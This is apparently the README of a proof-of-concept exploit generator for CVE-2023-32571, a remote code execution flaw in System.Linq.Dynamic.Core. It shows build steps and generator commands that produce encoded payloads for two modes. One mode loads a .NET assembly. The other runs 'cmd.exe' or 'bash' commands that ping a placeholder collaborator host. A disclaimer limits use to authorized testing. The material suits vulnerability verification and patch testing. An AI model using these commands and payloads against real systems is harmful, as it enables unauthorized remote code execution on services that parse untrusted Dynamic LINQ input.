
Proof of Concept for CVE-2023-32571
Proof of Concept for CVE-2023-32571, a remote code execution vulnerability in System.Linq.Dynamic.Core (1.0.7.10 to 1.2.25). This vulnerability allows attackers to execute arbitrary code and commands when untrusted input to methods including Where, Select, OrderBy is parsed.
This tool is provided for educational and authorized testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. The developers assume no liability and are not responsible for any misuse or damage caused by this program.
dotnet build --configuration Release
Payload/bin/Release/netstandard2.0/Payload.dllGenerator/bin/Release/net9.0/Generator.dllThe tool supports two modes:
# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1
# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0
# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1
# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0
# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"
# Linux command execution
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"
--mode: Exploitation mode (0=AssemblyLoad, 1=ProcessStart)--file: Path to the .NET assembly to load (required for AssemblyLoad mode)--type: Fully qualified type name to instantiate (required for AssemblyLoad mode)--parameters: Parameters based on mode:
--encoding: Encoding method for AssemblyLoad mode (0=Hex, 1=Base64)